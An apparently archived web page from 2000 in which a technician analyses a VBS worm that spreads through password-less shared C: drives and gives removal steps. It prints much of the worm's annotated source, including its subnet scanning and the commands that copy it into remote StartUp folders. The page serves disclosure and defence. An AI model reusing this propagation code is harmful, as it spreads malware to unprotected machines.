Infects Open Shares
Thursday, 24 February 2000
While inspecting a client's misbehaving computer this evening, I found a little surprise. His StartUp group contained a Visual Basic script which on inspection proved to be a rather simple, self-replicating and self-transmitting worm.
The client's system had a shared C: drive with no password, cause unknown. The worm had either been placed on his system (no evidence so far of a trojan but we've yet to do thorough scans) or it had arrived by reason if its own action.
How It Works
The script resides in the StartUp group of the Start Menu and is therefore run at each reboot. The filename is NETWORK.VBS. (Note: There's a valid file by that name on many systems. Read on before you look for the file.)
The script creates a log file, C:\NETWORK.LOG, which it erases and re-creates upon each new execution.
The script generates a random Class C subnet address and enters it in the log. This address is the first three numbers of the usual four-part IP address. It then steps thru all 255 addresses in that subnet. It blindly attempts to map a shared C: drive at the remote address to local drive letter J: at each address in turn. It checks each time to verify the successful creation of a drive J: on its host.
If it has not connected, it repeats the process at the next address in sequence. When it has stepped thru all 255 addresses of the current subnet, it creates another random subnet address, enters it in NETWORK.LOG, and continues attempting connections on the new subnet.
If it succeeds in mapping a remote drive, the script then attempts to copy itself to a series of likely locations on that drive.
Its first act is to place a copy of itself in the root directory of drive J:. If the file makes the journey, the script logs its success.
Then it copies itself to the following folders, most of them targeting the StartUp group which will cause persistent execution of the script at every reboot:
The script then disconnects, effectively removing drive J:.
It then goes back to work "scanning" addresses without cease.
Incidentally, if the host system has a drive using the letter J: the script will fail to propagate.
Here are the contents of NETWORK.LOG as found on my client's system:
Log file Open
Subnet : 220.127.116.11
Subnet : 18.104.22.168
Subnet : 22.214.171.124
Subnet : 126.96.36.199
This particular log reflects the fact that the worm had no success transferring itself during its last session. The system had been rebooted about two hours or so before, and had been offline most of that time. The script had tried only about 1000 addresses in that period. This small number was presumably because of the delay, usually about 10 seconds, resulting from a connection attempt to a nonexistent host.
My analysis is in blue text.
Note: A single small alteration of this code renders it impotent. The remainder has been left intact for the benefit of well-intentioned readers.
dim myfile // Creates a bunch of variables.
count = "0"
dot = "."
set wshnetwork = wscript.createobject("wscript.network")
Set fso1 = createobject("scripting.filesystemobject")
set fso2 = createobject("scripting.filesystemobject") // Sets a bunch of variables.
on error resume next
checkfile() // Erases and then re-creates its log file, c:\network.log.
randaddress() // Generates a random Class C subnet address (that's a block of 255 addresses).
checkaddress() // Increments the IP address by one; and creates a new random subnet if this one's been covered.
shareformat() // Creates a textstring, using the current IP address, which will be used to map a shared drive.
wshnetwork.mapnetworkdrive "j:", sharename // Maps the shared drive to J:, blindly assuming there's one at the address.
enumdrives() // Checks to see if it's successfully mapped the drive.
copyfiles() // Places a copy of itself in several places on the drive (someone else's machine someplace).
disconnectdrive() // Drops the connection.
driveconnected = "0"
Set myfile = fso1.createtextfile("c:\network.log", True)
If (fso1.fileexists("c:\network.log")) then
myfile.writeLine("Log file Open")
myfile.writeline("Copying files to : " & sharename)
Set fso = CreateObject("scripting.filesystemobject")
fso.copyfile "c:\network.vbs", "j:\"
If (fso2.FileExists("j:\network.vbs")) Then
myfile.writeline("Successfull copy to : " & sharename)
fso.copyfile "c:\network.vbs", "j:\windows\startm~1\programs\startup\"
fso.copyfile "c:\network.vbs", "j:\windows\"
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
fso.copyfile "c:\network.vbs", "j:\win95\start menu\programs\startup\"
fso.copyfile "c:\network.vbs", "j:\win95\startm~1\programs\startup\"
fso.copyfile "c:\network.vbs", "j:\wind95\"
octd = octd + 1
if octd = "255" then randaddress()
sharename = "\\" & octa & dot & octb & dot & octc & dot & octd & "\C"
Set odrives = wshnetwork.enumnetworkdrives
For i = 0 to odrives.Count -1
if sharename = odrives.item(i) then
driveconnected = 1
' driveconnected = 0
rand = int((254 * rnd) + 1)
if count > 50 then
octa=Int((16) * Rnd + 199)
count=count + 1
myfile.writeLine("Subnet : " & octa & dot & octb & dot & octc & dot & "0")
Why did I publish this code?
This is the first worm I've seen that was targeted to take advantage of open (sans password) shares. I have no idea whether similar exploits exist nor whether anyone else has spotted this particular creature. (25 Feb: I now know that this worm has been known to AV vendors for several days. Most of them have issued patches for its detection.)
In my opinion, any working copy of this worm is almost certain to replicate itself on several other machines before it's detected by the user, so it is probably spreading at a steady -- perhaps even exponential -- rate.
It's impossible to estimate the incidence of open shares with certainty; but I've poked around looking for them a time or two in an effort to estimate them; so I think I can hazard an educated guess. I'd say one or two addresses in a thousand harbor a system with open shares, and a significant percentage of those will permit access to the entire C: drive. While online this worm might easily scan several thousand potential victims in the course of a few hours, which means that an undetected worm residing on a system that's online several hours a day has a high probability of replicating itself something like once every day or two.
The capability to run these scripts is installed with Internet Explorer 5. I'm not sure about IE4. I believe this means that Win98 systems are much more likely than Win95 machines to have the Windows Script Host installed. So the script won't run on a significant proportion of the "legacy" systems which were more easily misconfigured for open shares. This could reduce its rate of propagation.
25 Feb: UseNet reports indicate that this worm can cause slowdowns on a LAN. It stands to reason! As reported by NAI at http://vil.nai.com/vil/vbs98477.asp, the effect of the worm's simultaneous action on numerous systems on a network may overload or crash servers which receive a flood of DNS requests resulting from the script's activity.
Note that in systems with Windows Script Host installed, there will be a file named NETWORK.VBS in the Windows directory. Don't be alarmed. This is a harmless sample script. If you're infected, the bad guy will be in the StartUp folder and in the root directory.
To kill the script, move it out of the StartUp folder and reboot. If Windows won't allow this, reboot to MS-DOS (don't just open a DOS window) and type this command:
ren \windows\startm~1\programs\startup\network.vbs network.txt
Hit Enter. If no error message displays, it worked. Now when you restart Windows, the script will not run, instead it will open up for examination in Notepad. If it's not identical to the one I've quoted above, I'd appreciate it if you'd send me a copy.
The worm script does nothing nefarious aside from taking up bandwidth on the Net link and consuming some processing power on the host system. But it may have been responsible for some annoying lockups that were observed on my client's system.
Fortunately it doesn't phone home, nor otherwise serve to advertise the victim's open shares. But it could easily do so with simple additions. So it illustrates a rather serious potential for exploit. In fact, given history, I consider it a positive certainty that more hostile versions of this thing will appear.
A worm like this with phone-home or broadcast features might spread far and wide, and report on open shares on a huge scale. It would probably lay a lot of people open to near-certain intrusion. It should stand as a grim reminder of the potential seriousness of open shares.
Anyone who simply ensures they're not sharing their entire C: drive with write permission on the Internet link has nothing to fear from this worm. If it writes to a shared subdirectory or to another drive, it won't run.
For more on open shares and their solutions, see my page titled File And Printer Sharing And The Internet.
I am suddenly very interested in this sort of scripting. If you too would like to investigate it in greater detail, here are some useful links:
of the Windows® Script Host
Windows® Script Host Programmer's Reference
Download the Windows® Script Host
Last Updated Saturday, 26 February 2000